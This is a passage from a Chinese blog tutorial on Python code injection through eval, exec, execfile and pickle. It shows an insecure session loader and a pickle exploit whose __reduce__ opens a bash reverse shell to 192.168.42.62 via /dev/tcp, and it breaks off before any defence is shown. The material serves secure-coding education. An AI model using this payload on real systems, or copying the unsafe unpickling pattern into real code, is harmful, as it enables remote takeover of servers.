当前位置:   article > 正文

Python安全编码 ——代码注入的实践与防范_python 代码注入

python 代码注入

什么是代码注入

代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。

Python中常见代码注入

能够执行一行任意字符串形式代码的eval()函数

eval("__import__('os').system('uname -a')")

能够执行字符串形式代码块的exec()函数

exec("__import__('os').system('uname -a')")

反序列化一个pickled对象时

pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")

执行一个Python文件

execfile("testf.py")

pickle.loads()代码注入

某不安全的用法:

  1. def load_session(self, session_id=None):
  2. if not session_id:
  3. session_id = self.gen_session_id()
  4. session = Session(session_id, self)
  5. else:
  6. try:
  7. data = self.backend.get(session_id)
  8. if data:
  9. data = pickle.loads(data)
  10. assert type(data) == dict
  11. else:
  12. data = {}
  13. except:
  14. data = {}
  15. session = Session(session_id, self, data)
  16. return session

注入的代码:

  1. >>> import os
  2. >>> import pickle
  3. >>> class exp(object):
  4. ... def __reduce__(self):
  5. ... s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
  6. ... return (os.system, (s,))
  7. ...
  8. >>> e = exp()
  9. >>> e
  10. <__main__.exp object at 0x7f734afa8790>
  11. >>> k = pickle.dumps(e)
  12. 'cp
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/秋刀鱼在做梦/article/detail/744585
推荐阅读
相关标签
  

闽ICP备14008679号